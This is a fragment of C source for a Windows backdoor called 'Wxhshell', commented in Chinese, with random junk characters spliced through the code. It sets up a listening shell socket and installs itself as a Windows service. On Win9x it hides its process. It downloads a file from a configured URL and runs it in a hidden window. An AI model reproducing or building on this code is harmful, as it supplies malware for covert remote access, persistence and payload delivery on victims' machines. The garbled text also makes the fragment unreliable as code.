[s1!Cm!i if (!NtQueryInformationProcess) return 0; (HEjmQjE >[#4Pb7_Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?FLjvmE9 if(!hProcess) return 0; =y<Fz*aA !j(R_wOq if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _&T$0SZco fRbVc CloseHandle(hProcess); TZ/u"' ZS "/q6E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wL{Qni3A if(hProcess==NULL) return 0; 4B|f}7%\ pG
(8VteH HMODULE hMod; ?VJ Fp^Ra char procName[255]; )TLDNpH?J unsigned long cbNeeded; uJ%ql5XDV =Ij;I~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :%0Z U_:/>8})d CloseHandle(hProcess); R\XJ %c&h:7); if(strstr(procName,"services")) return 1; // 以服务启动 @?t) UE iaMZ37 return 0; // 注册表启动 g3y44GCV } KMZ% 1=a hfY2pG9N // 主模块
! _QU- int StartWxhshell(LPSTR lpCmdLine) 6K,AQ.=V2 { se?nx7~ SOCKET wsl; _H-Lt{k BOOL val=TRUE; :5dq<>~ int port=0; ,Rf<6 /A struct sockaddr_in door; ej0q*TH. D;Z\GnD if(wscfg.ws_autoins) Install(); dfNNCPu]+ Wg#>2)> port=atoi(lpCmdLine); s}5;)>3~@ B${Q Y)t if(port<=0) port=wscfg.ws_port; RSp=If+4 rTx]%{ WSADATA data; >OQ<wO6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ETmfy}V8 DCHU=r if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c+q4sNnE setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q ml<JF door.sin_family = AF_INET; Tfj%Sb,zM
door.sin_addr.s_addr = inet_addr("127.0.0.1"); x]F:~(P door.sin_port = htons(port); AH ;h#dT PJ);d>tz if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V
]Z{0 closesocket(wsl); gI[xOK# return 1; .(! $j-B } Ygg+*z
?(E$|A if(listen(wsl,2) == INVALID_SOCKET) { d5h:py5 closesocket(wsl); 5Ba eHzI return 1; SlmgFk!r! } Z5v\[i@H! Wxhshell(wsl); SoCa_9*X WSACleanup(); #Hq XC\~n 9Y0w
SOSW return 0; DRal{?CH Z/O5Dear/h } 9OX&;O+5 O}2;>eH // 以NT服务方式启动 UZqr6A(/H VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B%[Yu3gBo { [/'W#x DWORD status = 0; cZA l.}/ DWORD specificError = 0xfffffff; }s? 9Hnqa c!b4Y4eJ serviceStatus.dwServiceType = SERVICE_WIN32; .|!Kv+yD serviceStatus.dwCurrentState = SERVICE_START_PENDING; oH$4K8j serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,|D<De\v& serviceStatus.dwWin32ExitCode = 0; '?4B0= serviceStatus.dwServiceSpecificExitCode = 0; "HlT-0F serviceStatus.dwCheckPoint = 0; 1a`dB
~> serviceStatus.dwWaitHint = 0; y%f'7YZ4 T$!.
:v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d7A vx if (hServiceStatusHandle==0) return; (V#5Cs,o:
ym^ status = GetLastError(); 4/cUd=>Z if (status!=NO_ERROR) dxsPX=\: { |%Pd*yZA serviceStatus.dwCurrentState = SERVICE_STOPPED; CnN PziB serviceStatus.dwCheckPoint = 0;
~8Z)e7j serviceStatus.dwWaitHint = 0; `C$. serviceStatus.dwWin32ExitCode = status; !2=<MO serviceStatus.dwServiceSpecificExitCode = specificError; BVU>M*k SetServiceStatus(hServiceStatusHandle, &serviceStatus);
eqV;4dhm return; Y$ZZ0m } 4~4D1 bs/Vn'CE serviceStatus.dwCurrentState = SERVICE_RUNNING; 8!sl) R serviceStatus.dwCheckPoint = 0; cJ=0zEv serviceStatus.dwWaitHint = 0; x:4:G( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @!`x^Tzz } 4YMX;W s9X?tWuL // 处理NT服务事件,比如:启动、停止 0sIwU!=vm VOID WINAPI NTServiceHandler(DWORD fdwControl) T'!7jgk{: { az/NZlJhT switch(fdwControl) HW"@~-\ { +K {J*
n case SERVICE_CONTROL_STOP: {%gMA?b|" serviceStatus.dwWin32ExitCode = 0; zb.dVK`7N- serviceStatus.dwCurrentState = SERVICE_STOPPED; d#NG]V/
serviceStatus.dwCheckPoint = 0; G*^4+^Vz? serviceStatus.dwWaitHint = 0; GUSEbIz): { )H8Rfn? SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;<hLy(@ } <*oTVl4fS return; lk;4l Z case SERVICE_CONTROL_PAUSE: m7!Mstu serviceStatus.dwCurrentState = SERVICE_PAUSED; n3y`='D break; Yv>kToa\^ case SERVICE_CONTROL_CONTINUE: OO#_0qK serviceStatus.dwCurrentState = SERVICE_RUNNING; y\k#83aU| break; opqY@>Vh& case SERVICE_CONTROL_INTERROGATE: Y`3V&8X break; 8#L
V
oR }; ZOw%Fw4B SetServiceStatus(hServiceStatusHandle, &serviceStatus); u0p[ltJ, } RzhAXI= wNl{,aH@ // 标准应用程序主函数 -c4g;;% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h9RL(Kq{ { :J6 xYy$ $raq,SP // 获取操作系统版本 %^Zu^uu OsIsNt=GetOsVer(); $\Oc]% GetModuleFileName(NULL,ExeFile,MAX_PATH); RqB 8g A{|^_1 // 从命令行安装 eI%9.Cx#I if(strpbrk(lpCmdLine,"iI")) Install(); @S9^~W3G3 <<w*_GM // 下载执行文件 }2%L
0 if(wscfg.ws_downexe) { As{ "B if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
z>lIZ} WinExec(wscfg.ws_filenam,SW_HIDE); > zA*W<g } mUA!GzJ~u- rel_Z..~ if(!OsIsNt) { h(C@IIO^;G // 如果时win9x,隐藏进程并且设置为注册表启动 ]"ou?ot } HideProc(); FJQ=611@ StartWxhshell(lpCmdLine); Uhs/F:E[A } 4Dy|YH$>S else *\gYs{, if(StartFromService()) TAB'oLNp // 以服务方式启动 1
K(0tG:5 StartServiceCtrlDispatcher(DispatchTable); 0#Ae< else 717S3knlv // 普通方式启动 3LRBH+Tt StartWxhshell(lpCmdLine); ^m
Ua5w 6U9FvPJ return 0; ~)CGwST[ }
|